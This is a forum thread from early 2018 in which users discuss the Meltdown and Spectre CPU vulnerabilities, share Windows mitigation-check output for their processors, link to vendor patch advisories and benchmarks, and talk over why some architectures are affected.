CPU Security Flaws MELTDOWN and SPECTRE
Interesting. It says it requires kernal VA shadowing for your Atom but isn't enabling it?
DavidGraham
Veteran
Several outlets are comparing Windows performance in games and desktop applications, all showing minimal to zero impact.
http://www.guru3d.com/articles-pages/windows-vulnerability-cpu-meltdown-patch-benchmarked,3.html
https://www.computerbase.de/2018-01/intel-cpu-pti-sicherheitsluecke/
http://www.guru3d.com/articles-pages/windows-vulnerability-cpu-meltdown-patch-benchmarked,3.html
https://www.computerbase.de/2018-01/intel-cpu-pti-sicherheitsluecke/
sandy bridge on win10 64
Speculation control settings for CVE-2017-5715 [branch target injection]
Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True
Speculation control settings for CVE-2017-5754 [rogue data cache load]
Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: True
Windows OS support for kernel VA shadow is enabled: True
Windows OS support for PCID optimization is enabled: False
E2140 (C2D Pentium) on WIn10 32
Speculation control settings for CVE-2017-5715 [branch target injection]
Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True
Speculation control settings for CVE-2017-5754 [rogue data cache load]
Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: False
Windows OS support for kernel VA shadow is enabled: False
Speculation control settings for CVE-2017-5715 [branch target injection]
Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True
Speculation control settings for CVE-2017-5754 [rogue data cache load]
Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: True
Windows OS support for kernel VA shadow is enabled: True
Windows OS support for PCID optimization is enabled: False
E2140 (C2D Pentium) on WIn10 32
Speculation control settings for CVE-2017-5715 [branch target injection]
Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True
Speculation control settings for CVE-2017-5754 [rogue data cache load]
Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: False
Windows OS support for kernel VA shadow is enabled: False
Windows 10 Pro x64 1709 (updated today) with A10-9600P:
We'll have to see what comes of that. I imagine Pixel C and Shield TV will get updates.
[Ignore me, it's late]
Last edited:
Bondrewd
Veteran
Wait what. I thought recent update enables Kernel VA Shadowing, that mitigates Meltdown and it's Spectre v2 that needs microcode updates?
You're right. It's late and I'm confusing my CVE numbers.
Meltdown is fully mitigated in Windows without a microcode update. Improved Spectre mitigations require new microcode.
About that Windows tool's output: why is it that some systems do mention PCID, some do not, and none have it enabled? (as far as I can find) + at least yesterday, I did not find explanations for what does each line mean.
Also, Intel mentions releasing updates. Presumably, microcode updates. I could not actually find a list of which microcode applies to which CPU, and in any case, the latest microcode file I could find was for November 2017.
This was mentioned before, but the quiet on Core 2 is also disappointing. There are still lots of systems using it, and the impact there would be the highest (as it is the slowest). It would be nice that, if a microcode mitigation is possible, Intel would release it.
Also, Intel mentions releasing updates. Presumably, microcode updates. I could not actually find a list of which microcode applies to which CPU, and in any case, the latest microcode file I could find was for November 2017.
This was mentioned before, but the quiet on Core 2 is also disappointing. There are still lots of systems using it, and the impact there would be the highest (as it is the slowest). It would be nice that, if a microcode mitigation is possible, Intel would release it.
Apple's latest security disclosure indicated Meltdown and Spectre affected all their platforms. Spectre seems reasonably expected, but Meltdown mitigation was also patched into iOS 11.2, macOS 10.13.2, and tvOS 11.2.
https://support.apple.com/en-us/HT208394
Perhaps I'm blanking on Apple's product lines, but wouldn't the iOS and tvOS versions patched apply to Apple's cores?
On a side note, redhat's article on the security issues vaguely indicates some level of applicability to IBM's SystemZ and POWER 8 and POWER 9, although what similar exploits those are is unclear. I have not run across an update besides requests for clarification from IBM that have not been answered.
https://access.redhat.com/security/vulnerabilities/speculativeexecution
While the fury of a number of people online is notable towards Intel's alleged incompetence for missing something so obvious as a side-channel exploit of retirement-stage quashing of privilege level page faults leveraging the latest high-resolution timers and crafted L1 probe sets--apparently obvious to people who did not know until a day ago or probably still don't know what speculation or a page is--this is a class of exploits in a failure case that many if not most did not anticipate or did not foresee the full impact.
Kudos to AMD that Meltdown specifically doesn't apply, although I'd like to know how much of its current immunity was due to prescient and steely resolve to protect kernel address space for decades in advance versus a "but for the grace of God go I" scenario where their internal op format or critical loop started out with a bifurcated permission check and load forwarding process, or they couldn't make a tradeoff for single-stage fault handling at in-order retirement with K7. (edit: the later case being hypothetical, I've never thought to look into which stage could flag permissions and/or suppress forwarding from the L/S until the last few days)
https://support.apple.com/en-us/HT208394
Perhaps I'm blanking on Apple's product lines, but wouldn't the iOS and tvOS versions patched apply to Apple's cores?
On a side note, redhat's article on the security issues vaguely indicates some level of applicability to IBM's SystemZ and POWER 8 and POWER 9, although what similar exploits those are is unclear. I have not run across an update besides requests for clarification from IBM that have not been answered.
https://access.redhat.com/security/vulnerabilities/speculativeexecution
While the fury of a number of people online is notable towards Intel's alleged incompetence for missing something so obvious as a side-channel exploit of retirement-stage quashing of privilege level page faults leveraging the latest high-resolution timers and crafted L1 probe sets--apparently obvious to people who did not know until a day ago or probably still don't know what speculation or a page is--this is a class of exploits in a failure case that many if not most did not anticipate or did not foresee the full impact.
Kudos to AMD that Meltdown specifically doesn't apply, although I'd like to know how much of its current immunity was due to prescient and steely resolve to protect kernel address space for decades in advance versus a "but for the grace of God go I" scenario where their internal op format or critical loop started out with a bifurcated permission check and load forwarding process, or they couldn't make a tradeoff for single-stage fault handling at in-order retirement with K7. (edit: the later case being hypothetical, I've never thought to look into which stage could flag permissions and/or suppress forwarding from the L/S until the last few days)
Last edited:
Correct. Which is what makes Apple's disclosure especially interesting.
It seems like it's almost a coin-flip as to whether an architecture would defer exception detection in total or not to the retirement stage, and any number of factors could push things in one direction or another.
Simply continuing with what works while more pressing matters in other areas are in flux could have made a decision set down before this could even be a concern take on new significance.
The rough model used to explain the initial description of what became Meltdown cited Tomasulo's Algorithm as an explanatory device, an OoOE method that was built into an IBM System/360 Model 91 computer with no caches.
For context, it was just barely newer than the Model 85, which is credited with having the first cache of any kind, and a little before virtual memory managed with paging was considered a proven tech.
I'm not sure what sort of validation people are asserting has been skipped, particularly if it turns out that a notable subset of high-performance architectures may have some avenue for Meltdown. If it's the sort of validation I'm thinking of, it would never be caught because what we're seeing has been up until now not been defined as incorrect.
A bunch of architectures are likely in the basket of not being able to do a thing which I'm not sure is all that laudable, much like how I am not good enough to fail to gain control over a caught ball before being brought to the ground in the Superbowl and so should not be praised over a receiver who almost had a reception in the Superbowl.
The side-channel attack is a holistic threat that leverages the behaviors of multiple architectural features, many of those behaviors not considered part of the software-visible semantics of an architecture. A lot of blocks that evolved to be agnostic to details best handled by someone else, and in eras where no one could present a sane reason as to why a given predictor, cache, or pipeline would be de-tuned so as to lie or obfuscate about what it or something else was doing--especially not when the things were barely within human understanding to begin with.
Given the complexity and demands on virtual memory (with page-controlled permissions in particular) and TLBs, I think it's also the case that it hasn't always been clear which path was the right one.
Even now, I'm not sure if halting speculation on these conditions is the only way to go about doing things, or without cost.
Car analogies please people ?
A bunch of architectures are likely in the basket of not being able to do a thing which I'm not sure is all that laudable, much like how I am not good enough to fail to make a car analogy before being brought to the ground in the Superbowl and so should not be praised over a Nürburgring who almost had a successful manual transmission in the Le Mans endurance race.
While I am not well-versed in automotive competition or American Football, I think I have made my metaphor equally applicable to both realms.
Centos 6 got a kernel update for this last night.
https://access.redhat.com/errata/RHSA-2018:0008
My Google Pixel phone got a security update yesterday too which sounds like it offers some remedy as well.
https://source.android.com/security/bulletin/2018-01-01
https://access.redhat.com/errata/RHSA-2018:0008
My Google Pixel phone got a security update yesterday too which sounds like it offers some remedy as well.
https://source.android.com/security/bulletin/2018-01-01
Last edited:
I don't know how many android devices will get patched because so many never get updates. Still hard to know the scope of the exploit on the average user. I can imagine a lot of things will never get patched. Not just PC and phones but routers and firewalls and stuff. How long until we get a large scale attack like Wanna Cry that makes use of all the unpatched systems?